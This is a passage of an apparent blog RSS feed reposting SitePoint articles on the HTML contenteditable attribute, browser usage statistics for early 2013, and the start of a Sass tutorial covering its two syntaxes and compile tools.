&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Yes, I know the title of this post is&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;em style=&quot;margin: 0px; padding: 0px;&quot;&gt;6 Nifty, Time-Saving HTML Attributes&lt;/em&gt;, but I just had to include a bonus seventh one. :)&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;contenteditable&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;attribute is one of those features that&amp;rsquo;s not so well-known, but is very nifty. Simply put, it allows you as a website viewer to edit the content of an element, right inside your browser.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;To prove that the&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;contenteditable&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;attribute really does change the content of the HTML element, locate the element in your browser&amp;rsquo;s developer tools, and you&amp;rsquo;ll see that the HTML actually has changed.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;contenteditable&lt;/code&gt;&amp;nbsp;attribute is a global attribute, meaning it will work on any HTML element. It can be used to either enable or disable content editing. It takes a value of either&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;true&lt;/code&gt;&amp;nbsp;(to enable editing) or&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;false&lt;/code&gt;&amp;nbsp;(to disable editing).&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Usage&lt;/h3&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&amp;lt;p contenteditable=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;!-- Content editing enabled --&amp;gt; &amp;lt;p contenteditable=&amp;quot;false&amp;quot;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;!-- Content editing disabled --&amp;gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;While the&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;contenteditable&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;attribute isn&amp;rsquo;t really a shortcut to anything, you have to agree &amp;ndash; it is nifty&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Source:-&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;a href=&quot;http://www.sitepoint.com/6-nifty-time-saving-html-attributes/&quot;&gt;http://www.sitepoint.com/6-nifty-time-saving-html-attributes/&lt;/a&gt;&lt;/p&gt;</description>
								         <pubDate>Mon, 04 Mar 2013 00:21:12 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/68/6-Nifty,-Time-Saving-HTML-Attributes</guid>
								      </item>								      <item>
								         <title>Worldwide Browser Statistics January 2013 to February 2013</title>
								         <link>http://www.nileshpawar.com/67/Worldwide-Browser-Statistics-January-2013-to-February-2013</link>
								         <description>&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Worldwide Browser Statistics January 2013 to February 2013&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The following table shows browser usage movements during the past month.&lt;/p&gt;
&lt;table width=&quot;80%&quot; id=&quot;stats&quot; style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 20px auto; padding: 0px; text-align: right !important; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; summary=&quot;worldwide browser market share statistics, February 2013&quot;&gt;
    &lt;tbody style=&quot;margin: 0px; padding: 0px;&quot;&gt;
        &lt;tr style=&quot;margin: 0px; padding: 0px;&quot;&gt;
            &lt;th width=&quot;20%&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;Browser&lt;/th&gt;
            &lt;th width=&quot;20%&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;January&lt;/th&gt;
            &lt;th width=&quot;20%&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;February&lt;/th&gt;
            &lt;th width=&quot;20%&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;change&lt;/th&gt;
            &lt;th width=&quot;20%&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;relative&lt;/th&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;margin: 0px; padding: 0px;&quot;&gt;
            &lt;th style=&quot;margin: 0px; padding: 0px;&quot;&gt;IE (all)&lt;/th&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;30.70%&lt;/td&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;29.82%&lt;/td&gt;
            &lt;td class=&quot;dn&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;-0.88%&lt;/td&gt;
            &lt;td class=&quot;dn&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;-2.90%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;margin: 0px; padding: 0px;&quot;&gt;
            &lt;th style=&quot;margin: 0px; padding: 0px;&quot;&gt;IE 9.0+&lt;/th&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;18.52%&lt;/td&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;18.08%&lt;/td&gt;
            &lt;td class=&quot;dn&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;-0.44%&lt;/td&gt;
            &lt;td class=&quot;dn&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;-2.40%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;margin: 0px; padding: 0px;&quot;&gt;
            &lt;th style=&quot;margin: 0px; padding: 0px;&quot;&gt;IE 8.0&lt;/th&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;11.12%&lt;/td&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;10.76%&lt;/td&gt;
            &lt;td class=&quot;dn&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;-0.36%&lt;/td&gt;
            &lt;td class=&quot;dn&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;-3.20%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;margin: 0px; padding: 0px;&quot;&gt;
            &lt;th style=&quot;margin: 0px; padding: 0px;&quot;&gt;IE 7.0&lt;/th&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;0.73%&lt;/td&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;0.68%&lt;/td&gt;
            &lt;td class=&quot;dn&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;-0.05%&lt;/td&gt;
            &lt;td class=&quot;dn&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;-6.80%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;margin: 0px; padding: 0px;&quot;&gt;
            &lt;th style=&quot;margin: 0px; padding: 0px;&quot;&gt;IE 6.0&lt;/th&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;0.33%&lt;/td&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;0.30%&lt;/td&gt;
            &lt;td class=&quot;dn&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;-0.03%&lt;/td&gt;
            &lt;td class=&quot;dn&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;-9.10%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;margin: 0px; padding: 0px;&quot;&gt;
            &lt;th style=&quot;margin: 0px; padding: 0px;&quot;&gt;Firefox&lt;/th&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;21.43%&lt;/td&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;21.34%&lt;/td&gt;
            &lt;td class=&quot;dn&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;-0.09%&lt;/td&gt;
            &lt;td class=&quot;dn&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;-0.40%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;margin: 0px; padding: 0px;&quot;&gt;
            &lt;th style=&quot;margin: 0px; padding: 0px;&quot;&gt;Chrome&lt;/th&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;36.55%&lt;/td&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;37.11%&lt;/td&gt;
            &lt;td class=&quot;up&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;+0.56%&lt;/td&gt;
            &lt;td class=&quot;up&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;+1.50%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;margin: 0px; padding: 0px;&quot;&gt;
            &lt;th style=&quot;margin: 0px; padding: 0px;&quot;&gt;Safari&lt;/th&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;8.27%&lt;/td&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;8.58%&lt;/td&gt;
            &lt;td class=&quot;up&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;+0.31%&lt;/td&gt;
            &lt;td class=&quot;up&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;+3.70%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;margin: 0px; padding: 0px;&quot;&gt;
            &lt;th style=&quot;margin: 0px; padding: 0px;&quot;&gt;Opera&lt;/th&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;1.19%&lt;/td&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;1.23%&lt;/td&gt;
            &lt;td class=&quot;up&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;+0.04%&lt;/td&gt;
            &lt;td class=&quot;up&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;+3.40%&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;margin: 0px; padding: 0px;&quot;&gt;
            &lt;th style=&quot;margin: 0px; padding: 0px;&quot;&gt;Others&lt;/th&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;1.86%&lt;/td&gt;
            &lt;td style=&quot;margin: 0px; padding: 0px;&quot;&gt;1.92%&lt;/td&gt;
            &lt;td class=&quot;up&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;+0.06%&lt;/td&gt;
            &lt;td class=&quot;up&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;+3.20%&lt;/td&gt;
        &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;br class=&quot;Apple-interchange-newline&quot; /&gt;
Source:-&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.sitepoint.com/browser-trends-march-2013/&quot;&gt;http://www.sitepoint.com/browser-trends-march-2013/&lt;/a&gt;&lt;/p&gt;</description>
								         <pubDate>Mon, 04 Mar 2013 00:16:08 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/67/Worldwide-Browser-Statistics-January-2013-to-February-2013</guid>
								      </item>								      <item>
								         <title>Getting Started with Sass - Stylesheets</title>
								         <link>http://www.nileshpawar.com/66/Getting-Started-with-Sass---Stylesheets</link>
								         <description>&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Why Sass&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;This is the big question&amp;mdash;and there is no real answer. For me, Sass provides the right tools, syntax and extensions. Sass has a huge community behind it and is constantly growing and evolving. There are loads of excellent add-ons and&amp;nbsp;extensions&amp;nbsp;which make Sass even better. Sass also gives you two writing style options.&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Sass Indented Syntax&lt;/h3&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;This is like the crazy, wise uncle of CSS: quirky, kinda funny looking, but ultimately quite smart. This syntax looks nothing like CSS&amp;mdash;the goal is brevity. Instead of brackets and semicolons, it uses the indentation of lines to specify blocks. Where you&amp;rsquo;d use a semicolon to separate statements, it uses new lines.&lt;/p&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;#main   color: blue   font-size: 0.3em   a     font:       weight: bold       family: serif     &amp;amp;:hover       background-color: #eee&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;.scss&lt;/h3&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;.scss&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;is essentially a subset of the CSS3 syntax. This means that every valid CSS3 stylesheet is valid&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;.scss&lt;/code&gt;as well.&lt;/p&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&lt;font size=&quot;2&quot;&gt;#main {   color: blue;   font-size: 0.3em;   a {     font: {       weight: bold;       family: serif;     }     &amp;amp;:hover {       background-color: #eee;     }   } }&lt;/font&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;This is my preferred syntax and what I&amp;rsquo;ll be using to show examples throughout this article. So without further ado, let&amp;rsquo;s get cracking.&lt;/p&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Workflow and Tools&lt;/h2&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Workflow&lt;/h3&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;There is a slight shift in paradigm required to get into the Sass way. The main point being that you will never ever edit or commit your .css files. The only way to change the CSS is through the&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;.scss&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;files. Once you save your&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;.scss&lt;/code&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;file, the magic of the preprocessor will convert it to regular CSS. The moment you start editing your .css files is the moment the sky starts to fill with black holes&amp;hellip;&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;There are two common ways to roll the preprocessor into your workflow. The first is to do it at build time. This will require some setup on your development and live environments using a parser for the programming language you choose. Rails 3.1 and up ships with Sass. If you use PHP, .NET or Java you&amp;rsquo;re in luck, as there are ports for those platforms. You could also roll it into a GRUNT task to run the procressing on build.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;If none of this makes sense to you don&amp;rsquo;t be afraid! The second option is much more front-end friendly:&amp;nbsp;use a simple GUI on your development machine and compile as you go. You will need one of the following tools.&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Tools&lt;/h3&gt;
&lt;ul style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; list-style: square; margin: 0px 0px 1.46em 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;
    &lt;h4 style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); font-size: 1em; font-weight: bold;&quot;&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://compass.handlino.com/&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;Compass.app&lt;/font&gt;&lt;/a&gt;&lt;/h4&gt;
    &lt;p style=&quot;margin: 0px 0px 1.46em; padding: 0px;&quot;&gt;This is a great multi-platform GUI which is simple and intuitive. It compiles Compass, which is a framework for Sass that I&amp;rsquo;ll get into later. Compass.app has the ability to hook into LiveReload too.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;
    &lt;h4 style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); font-size: 1em; font-weight: bold;&quot;&gt;&lt;a style=&quot;margin: 0px; padding: 0px; color: rgb(0, 113, 216); text-decoration: none;&quot; href=&quot;http://livereload.com/&quot;&gt;&lt;font color=&quot;#0071d8&quot;&gt;LiveReload&lt;/font&gt;&lt;/a&gt;&lt;/h4&gt;
